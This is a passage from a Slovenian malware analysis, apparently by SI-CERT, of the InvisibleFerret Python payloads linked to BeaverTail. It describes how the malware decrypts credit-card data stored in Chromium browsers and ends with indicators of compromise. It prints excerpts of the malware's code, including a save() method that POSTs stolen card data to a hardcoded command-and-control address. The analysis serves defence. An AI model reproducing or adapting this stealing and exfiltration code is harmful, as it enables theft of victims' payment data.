Zgornja funkcija pridobi podatke kreditnih kartic shranjenih v nekem brskalniku. Najprej iz SQLite baze webdata.db pridobi zašifrirane podatke in jih zatem še dešifrira.
![SI-CERT team > BeaverTail & InvisibleFerret > pwDecryptCombo.png](https://www.cert.si/wp-content/uploads/2025/02/pwDecryptCombo-1024x584.png)
Pridobitev ključa in dešifriranje se razlikuje glede na operacijski sistem, saj se tudi sama implementacija v brskalnikih nekoliko razlikuje. V Windows OS-u program za dešifriranje podatkov uporabi funkcijo dec_win_pwd, na ostalih OS-ih pa dec_unx_pwd. Na Windows OS-u je ključ dodatno zašifriran in shranjen v JSON datoteki Local State, za dešifriranje tega ključa se uporablja Windows API funkcija CyptUnprotectData, ki s posebnim ključem trenutnega uporabnika dešifrira podatke. Ostali operacijski sistemi pa imajo ključ shranjen v t.i. keychain/keyring sistemskih shrambah.
...
class BVer:
def __str__(A):return A.b_n
def __eq__(A,__o):return A.b_n==__o
class Chrome(BVer):b_n = "chrome";v_w = ["chrome", "chrome dev", "chrome beta", "chrome canary"];v_l = ["google-chrome", "google-chrome-unstable", "google-chrome-beta"];v_m = ["chrome", "chrome dev", "chrome beta", "chrome canary"]
class Brave(BVer):b_n = "brave";v_w = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_l = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"];v_m = ["Brave-Browser", "Brave-Browser-Beta", "Brave-Browser-Nightly"]
class Opera(BVer):b_n = "opera";v_w = ["Opera Stable", "Opera Next", "Opera Developer"];v_l = ["opera", "opera-beta", "opera-developer"];v_m = ["com.operasoftware.Opera", "com.operasoftware.OperaNext", "com.operasoftware.OperaDeveloper"]
class Yandex(BVer):b_n = "yandex";v_w = ["YandexBrowser"];v_l = ["YandexBrowser"];v_m = ["YandexBrowser"]
class MsEdge(BVer):b_n = "msedge";v_w = ["Edge"];v_l = [];v_m = []
av_bros = [Chrome, Brave, Opera, Yandex, MsEdge]
...
class CB:
...
def save(A, fn: Union[Path, str], fp: Union[Path, str], vb: bool = _T) -> bool:
cc = fp + '\n' + A.pretty_print()
ops = {'ts': str(ts),'type': sType,'hid': hn,'ss': str(fn),'cc': cc}
url = host2+'/keys' # http://23.106.253.221:1244/keys
try:requests.post(url, data=ops)
except:return ""
...
...
V zgornjem izseku kode vidimo, da podatke krade samo iz spletnih brskalnikov Chrome, Opera, Brave, Yandex in Edge (baziranih na Chromium), kar je najverjetneje posledica višje specializiranosti. Pridobljene podatke pošlje z metodo save, kjer se tudi vidi, da uporabi HTTP POST zahtevo na fiksni naslov http://23.106.253.221:1244/keys.
Povzetek
V tem delu smo pogledali delovanje dveh zlonamernih Python skript, ki sta prenešeni in izvršeni preko t.i. loaderja ali dropperja (.npl) z imenom InvisibleFerret. Podobno kot za BeaverTail lahko tudi tega prepoznamo po obliki URL-jev s katerimi komunicira, imenih modulov (pay, bow, adc) ali pa imenu skripte .npl.
Seznam indikatorjev zlorabe (IoC)
Ime | SHA256 |
userRoutes.js | 4f632429fedb39fa2addaeff3ba900679ebff99e45353d523776831e2558df80 |
test.js | 354e7014103783c2096b9f29e4eed11f79d19b13bda112b6fed4ffbf3ad438b9 |
p2.zip | 6a104f07ab6c5711b6bc8bf6ff956ab8cd597a388002a966e980c5ec9678b5b0 |
.npl | f46b47e859f321b6676289f3637538b60e1d7d97ee8d79b8ba9d12248858a75a |
pay | 95e3cbaac2749928598928c3b8ca80358c136e01bc429d2c2da77cc788566e1e |
bow | 6b331ab212a839ad1b1b673ca74a3c50c6dae383c19661e0ae71853f615aa891 |
adc | 335ad22f143ff050bb405cd48d0011a9eb9f4c7501b18781a42d3956718827c8 |
URL |
https://github.com/0xcestlaview/addingtoken |
http://23.106.253.221:1244/j/ZU1RINz7 |
http://23.106.253.221:1244/p |
http://23.106.253.221:1244/keys |
http://23.106.253.221:1244/pdown |
http://23.106.253.221:1244/uploads |
http://23.106.253.221:1244/client/ZU1RINz7 |
http://23.106.253.221:1244/payload/ZU1RINz7 |
http://23.106.253.221:1244/brow/ZU1RINz7 |
http://23.106.253.221:1244/adc/ZU1RINz7 |
http://23.106.253.221:1244/any |
IP | Vrata |
173.211.106.101 | 1244 |